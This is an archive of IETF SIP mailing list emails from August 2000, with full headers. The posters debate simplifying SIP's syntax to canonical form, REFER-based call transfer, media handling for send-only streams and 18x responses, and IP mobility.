http://www.dynamicsoft.com >> >> _______________________________________________ >> SIP mailing list >> SIP@lists.bell-labs.com >> http://lists.bell-labs.com/mailman/listinfo/sip > > -- > > > Jimmy zhang (jz@ipunity.com) > > Software Engineer > > --------------751C585FD5BD9F9F42B828F5 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Greetings:

jimmy Zhang wrote:

I deeply feel that the syntax description is archaic, we should probably write them in perl's regex format, which should help
parsing tremendously.
Can you provide an example and the benefits gained by perl's regular expression format? Also, how will the folks who have parsers in 'C' and Java be able to benefit from this format?

Regards,

Bobby Sardana.
sardana@obsoft.com

 
 

Jonathan Rosenberg wrote:

Gethin Liddell wrote:
>
> For SIP to be efficient and quick, as i'm sure you'll agree it must be,
> it MUST be possible to parse in a message with out having to parse each
> individual header.

Absolutely. This is what I was trying (and not at all succeeding in
saying) when I said:
> so that you can detect headers without parsing the headers
> > themselves.

>
> Ignoring the \CR and \LF, it is possible to get the structure of the
> messages and the headers split up by looking for the combination of
> CR, LF and white space indentation. great, this can be done quickly by
> simple byte-by-byte comparison.
>
> This all goes out the window however when we allow, or expect, that in
> `special cases' a `\' at the end of the line actually marks another
> form of continuation.
>
> for example, parsing the fast, efficient, lazy way, the header:
>
> Waring: 307 foo "some info \
> some more info"
>
> Will be parsed as 2 headers, with the second header being very wrong
> and breaking everything.
>
> If we want this to be parsed properly, then from the very begining we
> have to parse the header and understand it.
>
> So what if we don't understand it?

I agree. In my coffee-starved state of mind I apparently believed the
escaping would help, but it doesn't. So, I think we need to specify that
if a CR, LF, or CRLF appears in a quoted string, these MUST be properly
line folded.

-Jonathan R.
--
Jonathan D. Rosenberg                       72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.cs.columbia.edu/~jdrosen         PHONE: (732) 741-7244
http://www.dynamicsoft.com

_______________________________________________
SIP mailing list
SIP@lists.bell-labs.com
http://lists.bell-labs.com/mailman/listinfo/sip

-- 


Jimmy zhang (jz@ipunity.com)

Software Engineer
 
--------------751C585FD5BD9F9F42B828F5-- _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sun Aug 20 07:02:04 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA07247 for ; Sun, 20 Aug 2000 07:02:04 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id D6D1744338; Sun, 20 Aug 2000 07:01:50 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mars.hss.co.in (unknown [202.54.26.197]) by lists.bell-labs.com (Postfix) with ESMTP id 0B9B944336 for ; Sun, 20 Aug 2000 07:01:42 -0400 (EDT) Received: from sampark.hss.hns.com (sampark.hss.hns.com [139.85.229.22]) by mars.hss.co.in (8.10.0/8.10.0) with SMTP id e7KAx0c00816; Sun, 20 Aug 2000 16:29:02 +0530 (IST) Received: by sampark.hss.hns.com(Lotus SMTP MTA Internal build v4.6.2 (651.2 6-10-1998)) id 65256941.003CBEE5 ; Sun, 20 Aug 2000 16:33:30 +0530 X-Lotus-FromDomain: HSSBLR From: archow@hss.hns.com To: Jonathan Rosenberg Cc: Gethin Liddell , Bertil Engelholm , sip@lists.bell-labs.com Message-ID: <65256941.003CBD07.00@sampark.hss.hns.com> Date: Sun, 20 Aug 2000 16:33:25 +0530 Subject: Re: [SIP] Simplify SIP Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Agree totally. I would think its too late now to have something like a "simply simpler SIP" right now. The base draft does make some demands on the implementor trying to be "fully" compliant to the ABNF. I do not think that this is really an issue of it being so easy with Perl, or whatever. The simplicity or lack of it in a protocol should not be decided just because it takes 10 lines in Perl. The fact is that there is a degree of irritant/baggage like Jonathan mentioned - but its too late to do away with them. Those implementations that don't want to handle all these possibilites, don't. Return an error or something. As it is, how often do you see other products sending line-folded, evil-quoted, crazy LWS, etc message ? The percentage would be low. If you want to not support them. you would still be supporting most cases (or so I believe). Most of the leniency attributes of SIP are to do with "torture scenarios" and typically dont occur. Those that may occurs are very simple to do (even in C) (example extra LWSses around) I do agree however, that if you are in the business of selling SIP products, you would have to make it as "industry-stable" as possible - which would therefore include these scenarios. The process of re-invention could be endless - something can always be bettered - but after a while, its investment/time/compatibility vs leanness. My 2c Regds Arjun Jonathan Rosenberg on 08/18/2000 08:23:28 PM To: Gethin Liddell cc: Bertil Engelholm , sip@lists.bell-labs.com Subject: Re: [SIP] Simplify SIP If I had it over again, I would eliminate line folding, case insensitivity, and a host of other things. But, when the spec was begun, it was decided that rather than inventing new syntax, we would borrow from a clearly successful, highly interoperable, well understood protocol for which a whole lot of code was available. That meant we inherited the good along with the bad. Because we must be backwards compatible with rfc2543, there is no choice but to insist implementations handle line folding and other things (in reality its not so bad once you construct a tokenizer than knows about line folding. In this way, it is handled once. My old C code for this was on the order of 50 lines). We could have rfc2543bis insist on sending in some canonical form, but it won't help parsers which must anyway handle the various forms. I suppose eventually those could be phased out, but there is a fair amount of SIP out there already, so I don't know that non-canonical form would be gone that soon. -Jonathan R. Gethin Liddell wrote: > > i agree. > > the sip specification is not easy to implement, for the main reason > that you have to be able to accept the same information in many > different ways. > > conforming to the canonicial form should not be a hardship for anyone > and will make everyone's implementations faster thanx to a, probably > quite noticable, efficiency gain. > > On Fri, 18 Aug 2000, Bertil Engelholm wrote: > > Hello, > > > > we would like to start a discussion about the possibility of making > > SIP more simple than today. We realize that it's a little late to > > make big changes in the protocol at this stage but the change we > > propose seems quite small. This proposal is our personal proposal > > and is not in any way reflecting the Ericsson point of view > > (not yet anyway). > > > > We feel that SIP today is unnecessary complex which costs time > > during development and testing of a SIP parser. It also cost > > execution time which we can see no reason for. Maybe there are > > historic reasons why SIP is specified as it is but since the > > specification does not explain this (which it shouldn't) we > > can't see the reason for certain constructions. We understand > > that HTTP has been a great influence when specifying SIP but > > we have not heard any explanation why. > > > > In general we think SIP allows too many optional ways of doing things. > > Each of these options cost development time, testing time and > > execution time in every SIP enabled product. And since some SIP > > UA most likely is small devices with limited processor power, memory > > size etc. it must be interesting to reduce the amount of code > > needed to parse the SIP messages. > > Every option also adds the possibility of introducing bugs which > > we noticed during the last bakeoff. So by making SIP more > > simple we think it will be easier to develop SIP enabled products > > with better quality in shorter time. This would at the end help > > spreading SIP even faster than today which we hope everyone is > > interested in doing (at least in this mail group). > > > > So what we basically suggest is that only the canonical representation > > should be used. All other formats should be depricated in the same > > way as the different ways of terminating the SIP-headers was depricated > > some time ago. In this way SIP will still be backwards-compatible > > since everyone has to be able to receive the canonical representation. > > It will just take some time for everyone to adapt their code so > > they only send out the canonical representation. After a while it's > > possible to make a new version of SIP that only allows the canonical > > form. Then it's up to everyone to decide if they want to support > > both SIP 2.0 as well as the new version or only the new version. > > > > According to the SIP specification (chapter 13.2 in rfc2543bis-01) > > the canonical representation restricts the SIP syntax in this way : > > > > * No short form header fields; > > * Header field names are capitalized as shown in the rfc; > > * No white space between the header name and the colon; > > * A single space after the colon; > > * Line termination with a CRLF; > > * No line folding; > > * No comma separated lists of header values; each must appear as a > > separate header; > > * Only a single SP between tokens, between tokens and quoted strings, > > and between quoted strings; no SP after last token or quoted string; > > * No LWS between tokens and separators, except as described above for > > after the colon in header fields; > > * The To and From header fields always include the < and > delimiters > > even if the display-name is empty. > > > > We can't see any problem in any of these restrictions. Some of them > > only restricts how many white space characters you are allowed to use > > so those restrictions can't be any problem to introduce. Why send extra > > spaces that only adds unnecessary bytes to the messages ? > > > > To disallow the compact form of the headers might be a problem but > > since using the compact form only saves about 70-80 bytes a UA still > > have to be able to handle the case where the message don't fit in > > one MTU. If this is a real problem why not define a compact form > > for _all_ headers in SIP and only use that form ? > > > > To capitalize the header field names exactly as they are specified > > in the RFC does not seem to be a problem either. Why should it be > > possible to write e.g. Content-Length as cOnTeNt-lEnGtH ? > > > > Line folding is also something we can't see any reason for. Since > > all UA/Servers have to be able to _receive_ any length of a header > > line why can't they _send_ every header in one line ? > > > > To allow a comma separated list in the Via and Record-Route etc. > > is one of the optional things that seems unnecessary. Especially > > since it creates longer lines which means you might need line folding. > > Since all UA that intend to handle Authentication have to use the > > canonical representation anyway why not always use it ? > > > > We realize that it's a little bit late in the SIP development to > > make changes in the protocol but we feel that these changes are > > not very big since it's already specified in the RFC. > > > > If everyone is happy with todays specification we can live with > > it too since we have already implemented it. But we feel that it > > would help SIP to spread faster in the future by making it as > > simple as possible to parse. > > > > So what do you think. Is this proposal something you think > > is worth introducing or is it better to keep things as it is ? > > > > -- > > Bertil Engelholm Bertil.Engelholm@uab.ericsson.se > > Eric Turesson Eric.Turesson@uab.ericsson.se > > > > > > > > _______________________________________________ > > SIP mailing list > > SIP@lists.bell-labs.com > > http://lists.bell-labs.com/mailman/listinfo/sip > -- > Gethin Liddell > Ubiquity Software Corporation > > http://www.ubiquity.net > mailto:gethin@ubiquity.net > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sun Aug 20 11:52:55 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA08616 for ; Sun, 20 Aug 2000 11:52:54 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 8CA5444358; Sun, 20 Aug 2000 11:52:38 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id B3CB244336 for ; Sun, 20 Aug 2000 11:52:35 -0400 (EDT) Received: from CINQUECENTO (3Cust2.tnt11.hou3.da.uu.net [63.27.246.2]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with SMTP id LAA00347 for ; Sun, 20 Aug 2000 11:54:08 -0400 (EDT) From: "Robert Sparks" To: Subject: FW: [SIP] question on draft-ietf-sip-cc-transfer-00.txt Date: Sun, 20 Aug 2000 10:51:06 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Importance: Normal Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Jana writes: > I have a question on the cc draft. > > In section 5.2.2 Variation 2 : Protects transfer target > > Here in the call flow, when the transferor sends the REFER > to transfer target, it uses a Call-ID of 2, to tie the REFER > with the previous Invite sent. To elaborate on "tie" - in the current version of the draft, REFERs have to take place in the context of a session initiatied with an INVITE. I had several people at the bakeoff argue that this is an an unneccesary restriction (and I agree). The current plan is to remove it. > But when the transfer target > sends an invite to the transferor, it uses a Call-ID > of 2, how would the transferor know that this is the call with > Call-ID of 1, that is on hold waiting to be transfered, and > not a totally new call. I assume you meant transferee everywhere you used transferor in this paragraph. > > This information may be desired, since the user may not want to > answer another call at this point of time? > In draft-sparks-sip-cc-transfer-00, the call-ID from the TRANSFER (now REFER) was copied into the resulting INVITE. That behavior was removed from this draft in favor of allowing the transferor to suggest a call-id to use through the use of headers in the Refer-To: URL (see the ABNF for SIP-URL). If the transferor (who, in this scenario, wishes to protect the transfer target) wishes to allow the the transferee to correlate the invites, it could include the original call-id in the Refer-To: URL. RjS _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sun Aug 20 18:08:55 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA10683 for ; Sun, 20 Aug 2000 18:08:52 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 8A0394434F; Sun, 20 Aug 2000 18:08:20 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from dnsmx1pya.telcordia.com (dnsmx1pya.telcordia.com [128.96.20.31]) by lists.bell-labs.com (Postfix) with ESMTP id 8769E4433D for ; Sun, 20 Aug 2000 18:08:17 -0400 (EDT) Received: from notes949.cc.telcordia.com (notes949a.cc.telcordia.com [128.96.246.8]) by dnsmx1pya.telcordia.com (8.9.3/8.9.3) with SMTP id SAA03737; Sun, 20 Aug 2000 18:03:13 -0400 (EDT) Received: by notes949.cc.telcordia.com(Lotus SMTP MTA v4.6.4 (830.2 3-23-1999)) id 85256941.00792441 ; Sun, 20 Aug 2000 18:03:11 -0400 X-Lotus-FromDomain: TELCORDIA From: "Ashutosh Dutta" To: Michael Thomas Cc: Jean-Hugues ROBERT , Michael Thomas , Jonathan Rosenberg , "Arnoud van Wijk (ETM)" , "'SIP'" Message-ID: <85256941.007922B1.00@notes949.cc.telcordia.com> Date: Sun, 20 Aug 2000 18:02:13 -0400 Subject: Re: [SIP] Media & Signaling inter-dependencies, issue with 183 ? Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Hi, IP mobility solution would probably work fine for intra-domain case with fast hand-off mechanism, some of which have been proposed recently. But for Interdomain case we still need a better solution than just plain IP mobility approach for reducing the loss (if we care about it) when the IP address changes on the wireless handset. We may have a need to adopt a hybrid approach in that case. Thanks Ashutosh Michael Thomas on 08/19/2000 01:14:20 PM To: Jean-Hugues ROBERT cc: Michael Thomas , Jonathan Rosenberg , "Arnoud van Wijk (ETM)" , "'SIP'" (bcc: Ashutosh Dutta/Telcordia) Subject: Re: [SIP] Media & Signaling inter-dependencies, issue with 183 ? Jean-Hugues ROBERT writes: > At 09:02 AM 8/19/00 -0700, Michael Thomas wrote: > > If you want decomposed, use MGCP/MEGACO. > > When wireless IP phone IP address is changed, early > media need to be delivered to the new IP address, not the old one. That is > were a RTP Switcher is needed. This is if you make the assumption that you can't use IP mobility instead which solves the general problem. I've seen some pretty promising work on that front which looks like it converges very, very fast. Application layer routing should be the last option, not the first in my opinion. > > There are some clear disadvantages of trying to > > use some UA-like proxy though: namely garden > > walls, end to end transparency, and far worse, > > privacy/security. In order to justify this sort > > of architecture, the cost savings would need to > > be at least an order of magnitude down on a > > cost item that actually impacts the COG's > > significantly. This ain't one of them, IMO. > > Good points. Fact is, there is no such thing as a cheap IP phone, wireless > or not... yet. > What is "COG" ? Sorry, cost of goods. Mike _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sun Aug 20 18:21:38 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA10720 for ; Sun, 20 Aug 2000 18:21:37 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 0E4C14436B; Sun, 20 Aug 2000 18:21:06 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from smtp-out1.bellatlantic.net (smtp-out1.bellatlantic.net [199.45.39.156]) by lists.bell-labs.com (Postfix) with ESMTP id 6046A4433D for ; Sun, 20 Aug 2000 18:21:02 -0400 (EDT) Received: from cs.columbia.edu (adsl-151-198-20-48.bellatlantic.net [151.198.20.48]) by smtp-out1.bellatlantic.net (8.9.1/8.9.1) with ESMTP id SAA13584; Sun, 20 Aug 2000 18:20:53 -0400 (EDT) Message-ID: <39A059B8.7FF352DB@cs.columbia.edu> Date: Sun, 20 Aug 2000 18:20:40 -0400 From: Henning Schulzrinne X-Mailer: Mozilla 4.7 [en]C-CCK-MCD BA45DSL (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: Bertil Engelholm Cc: sip@lists.bell-labs.com Subject: Re: [SIP] Simplify SIP References: <65256941.003CBD07.00@sampark.hss.hns.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit May I suggest that any proposals that mention simplification that is not backward-compatible have the burden of proof showing that - the collective effort spent discussing is less than the collective effort coding them? - substantially increases overall call processing speed (not just parsing speed), where substantially is at least a few months of Moore's law processor speed-ups? It's clearly a good idea to send in canonical form (and already encouraged for various encryption/authentication-using requests), but the old "be liberal in what you accept" policy has advantages. After all, these same rules on spacing and line folding have not exactly kept email and HTTP from becoming popular or from scaling to very large message volumes. My guess would be that for a C/assembly-based optimized parser, extra spaces have essentially no dynamic cost and modest static cost in table space for the state transitions. Line folding probably has a one-if-statement/line cost. (The major cost of additional spaces will be copy costs, but those are only incurred by non-canonical senders. I expect high-volume senders to be canonic senders, just as for email.) > > > > > > According to the SIP specification (chapter 13.2 in rfc2543bis-01) > > > the canonical representation restricts the SIP syntax in this way : > > > > > > * No short form header fields; > > > * Header field names are capitalized as shown in the rfc; > > > * No white space between the header name and the colon; > > > * A single space after the colon; > > > * Line termination with a CRLF; > > > * No line folding; > > > * No comma separated lists of header values; each must appear as a > > > separate header; > > > * Only a single SP between tokens, between tokens and quoted strings, > > > and between quoted strings; no SP after last token or quoted string; > > > * No LWS between tokens and separators, except as described above for > > > after the colon in header fields; > > > * The To and From header fields always include the < and > delimiters > > > even if the display-name is empty. > > > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 21 00:58:48 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA15170 for ; Mon, 21 Aug 2000 00:58:47 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 856E84433D; Mon, 21 Aug 2000 00:58:26 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from smtp.netservers.net (smtp2.netservers.net [64.45.27.102]) by lists.bell-labs.com (Postfix) with SMTP id E1BC644336 for ; Mon, 21 Aug 2000 00:58:22 -0400 (EDT) Received: (qmail 23591 invoked from network); 21 Aug 2000 05:05:02 -0000 Received: from unknown (HELO voip) (216.101.190.123) by smtp with SMTP; 21 Aug 2000 05:05:02 -0000 From: "IPTelephonyJobs.com" To: "SIPbell-labs" Date: Sun, 20 Aug 2000 21:58:23 -0700 Message-ID: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0000_01C00AF1.C2831320" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal In-Reply-To: <0bcc01c007e9$01399820$3202a8c0@broadsoft.com> X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Subject: [SIP] ***New Site : IPTelephonyJobs.com*** Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com This is a multi-part message in MIME format. ------=_NextPart_000_0000_01C00AF1.C2831320 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Hello, We have launched IPTelephonyJobs.com. The site is dedicated to IP Telephony professionals. The following areas are specifically targeted among others: VoIP (h.323, mgcp, sip, megaco, call agents...) PSTN(ss7, isdn, ain/in,..) Wireless(gprs, cdma, gsm,...) IP Routing/Switching + others Services offered to Job Seekers: - Profile only entries lets you keep your personal information private. - Profile + Resume entries lets the employer have a better understanding of your background. - Control access to your resume on demand. So just drop by our site and fill in your profile. http://www.iptelephonyjobs.com jobs@iptelephonyjobs.com ------=_NextPart_000_0000_01C00AF1.C2831320 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hello,
 
   We have = launched=20 IPTelephonyJobs.com. The site is
dedicated to IP Telephony = professionals.=20 The following
areas are specifically targeted among = others:
 
     VoIP (h.323,=20 mgcp, sip, megaco, call agents...)
     PSTN(ss7, = isdn,=20 ain/in,..)
     Wireless(gprs, cdma,=20 gsm,...)
     IP=20 Routing/Switching
     + others
 
Services offered to Job = Seekers:
 
 - Profile only = entries lets you=20 keep your personal information private.
 
 - Profile + = Resume entries lets=20 the employer have a better understanding of your = background. 
 
 - Control access = to your resume=20 on demand.
 
So just drop by our = site and fill in=20 your profile.
 
http://www.iptelephonyjobs.com
 

jobs@iptelephonyjobs.com
------=_NextPart_000_0000_01C00AF1.C2831320-- _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 21 11:21:06 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA02590 for ; Mon, 21 Aug 2000 11:21:05 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 5D8B444360; Mon, 21 Aug 2000 11:20:25 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from 192.116.213.130 (unknown [192.116.213.130]) by lists.bell-labs.com (Postfix) with SMTP id B9CFA44336 for ; Mon, 21 Aug 2000 11:20:20 -0400 (EDT) Received: from nt-mail.tlv.radvision.com ([172.20.2.100]) by 192.116.213.130 ; Mon, 21 Aug 2000 18:11:48 -0700 Received: by NT-MAIL with Internet Mail Service (5.5.2650.21) id ; Mon, 21 Aug 2000 18:17:12 +0300 Message-ID: From: Meir Fuchs To: sip Cc: Jonathan Rosenberg Subject: RE: [SIP] send only media streams Date: Mon, 21 Aug 2000 18:17:11 +0300 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Hi, What about a RTCP ? Shouldn't the terminals sending the media on send-only/recv-only streams pass a non-zero port on which they can receive RTCP traffic ? Meir. > -----Original Message----- > From: Jonathan Rosenberg [SMTP:jdrosen@dynamicsoft.com] > Sent: Friday, August 18, 2000 5:49 PM > To: sip > Subject: [SIP] send only media streams > > I believe rahul's question is aimed at a slight inconsistency in > appendix B.2, which says: > > > For receive-only and send-or-receive streams, the port number and > > address in the session description indicate where the media stream > > should be sent to by the recipient of the session description, either > > caller or callee. For send-only streams, the address and port number > > have no significance and SHOULD be set to zero. > > So, the caller sends a stream recvonly. So, the callee wishes to accept > it. Clearly its sendonly from their perspective. According to the above, > the port is set to zero. But, later on: > > > If caller and callee have no media formats in common for a particular > > stream, the callee MUST return a session description containing the > > particular "m=" line, but with the port number set to zero, and no > > payload types listed. > > which says its set to zero as well, but with no payload types. That > would be fine, and there would be no inconsistency here. However, we > have observed this to be inconsistent with rfc2327, which mandates at > least one codec there: > > > media-field = "m=" media space port ["/" integer] > > space proto 1*(space fmt) CRLF > > > Sooo, what is the significance of port zero in the response to INVITE > for an offered recvonly stream responded with sendonly? > > I believe the solution is that we modify the latter text in SIP to read: > > > For receive-only and send-or-receive streams, the port number and > > address in the session description indicate where the media stream > > should be sent to by the recipient of the session description, either > > caller or callee. For send-only streams, the address and port number > > have no significance and MAY be set to any value, but MUST NOT be set > to zero. > > i.e., we have port zero mean ONE THING only - refusal of a media stream. > > -Jonathan R. > > rahul pande wrote: > > > > hello all, > > I had a query regarding a call flow in SIP. The caller sends me a > recvonly > > request for a unicast session which i want to reject, how do i reply to > his > > request : > > The request which i have received is as follows : > > > > CALLER : > > INVITE.... > > .......... > > > > v=0 > > .......... > > m=audio 3241 rtp/avp 0 > > a=recvonly > > m=vedio 3245 rtp/avp 1 > > > > I want to reject his first media stream, can someone please tell me what > > will be the response. > > > > Thanking you all, > > rahul > > ________________________________________________________________________ > > Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com > > > > _______________________________________________ > > SIP mailing list > > SIP@lists.bell-labs.com > > http://lists.bell-labs.com/mailman/listinfo/sip > > -- > Jonathan D. Rosenberg 72 Eagle Rock Ave. > Chief Scientist First Floor > dynamicsoft East Hanover, NJ 07936 > jdrosen@dynamicsoft.com FAX: (973) 952-5050 > http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 > http://www.dynamicsoft.com > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 21 11:23:57 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA02697 for ; Mon, 21 Aug 2000 11:23:56 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 6D34644372; Mon, 21 Aug 2000 11:23:10 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mgw-x2.nokia.com (mgw-x2.nokia.com [131.228.20.22]) by lists.bell-labs.com (Postfix) with ESMTP id D577B44336 for ; Mon, 21 Aug 2000 11:22:52 -0400 (EDT) Received: from daebh01nok.americas.nokia.com (daebh01nok.americas.nokia.com [172.18.242.182]) by mgw-x2.nokia.com (8.10.2/8.10.2/Nokia) with ESMTP id e7LFMQs24046; Mon, 21 Aug 2000 18:22:28 +0300 (EET DST) Received: by daebh01nok with Internet Mail Service (5.5.2448.0) id ; Mon, 21 Aug 2000 10:19:37 -0500 Message-ID: From: Cliff.Harris@nokia.com To: brett@broadsoft.com, rfairlie@nuera.com, sip@lists.bell-labs.com Subject: RE: [SIP] Remote ringback. Date: Mon, 21 Aug 2000 10:16:48 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: text/plain; charset="iso-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com > -----Original Message----- > From: EXT Brett Tate [mailto:brett@broadsoft.com] > Sent: Thursday, August 17, 2000 1:19 PM > To: Fairlie-Cuninghame, Robert; sip@lists.bell-labs.com > Subject: Re: [SIP] Remote ringback. > > [ . . . ] > > If A receives 18x with SDP from B, can/should A start sending to B? I > assume no for 180 and yes for 181, 182 and 183 but I have not found it > explicitly stated anywhere. Am I reading this wrong? Surely any 18x with SDP from B to A means that B will be sending one-way audio and A cannot send audio to B??? > > There were some test cases that I was hoping to test at the > bakeoff, but > didn't get the chance. Text relating to the test cases may > be useful in the > rfc. > > - A invites B. B replies 180 with SDP. B then replies 180 > without SDP. > Expected result: A should start providing local ringback. > I would disagree with this for a few reasons: 1. In the case of PSTN interoperability, once the remote end starts sending one-way audio, the remote end has to continue sending one-way audio until the call is either answered or disconnected. (E.g., in ISDN, a PROGRESS with no indicator for cut-through audio doesn't mean the far end has stopped sending cut-through audio.) 2. Certainly in the case of 183, there may be attachments other than an SDP attachment, so receiving no SDP should not mean "stop receiving audio", and it would not be good if the interpretation of attachments were different for 180 than for 183. 3. Unless PRACKs are being used, A doesn't know whether the 180's have been received out of order. (Which isn't really much of an objection, given that B may send a new 180 with a different codec, but still, B should be required to explicitly state that there is no more audio; see next point.) 4. In an INVITE, the absence of an SDP attachment doesn't mean "create a session with no media". So if B wants to stop sending cut-through audio, it should send a 180 with an SDP attachment without an "m=" line. Then the SDP attachments in the 180 and the INVITE would work the same way. (And it would still be possible for B to tell A to start providing local ringback, despite the rather weak first point.) > - A invites B with multiple codecs. B replies 180 SDP with > codec 0; then B > replies 180 SDP with codec 2. Expected result: A should stop > using codec 0 > and start using codec 2. > Agree. > - A invites B. A forking proxy was involved. A forking > proxy returned two > 18x with SDP and different "TO" tags. Should the received > media be mixed? > I assume no until maybe after having received a 200 on one > of the legs. > > > [ . . . ] _______________________________________________ SIP mailing list SIP@lists.bell-labs.com 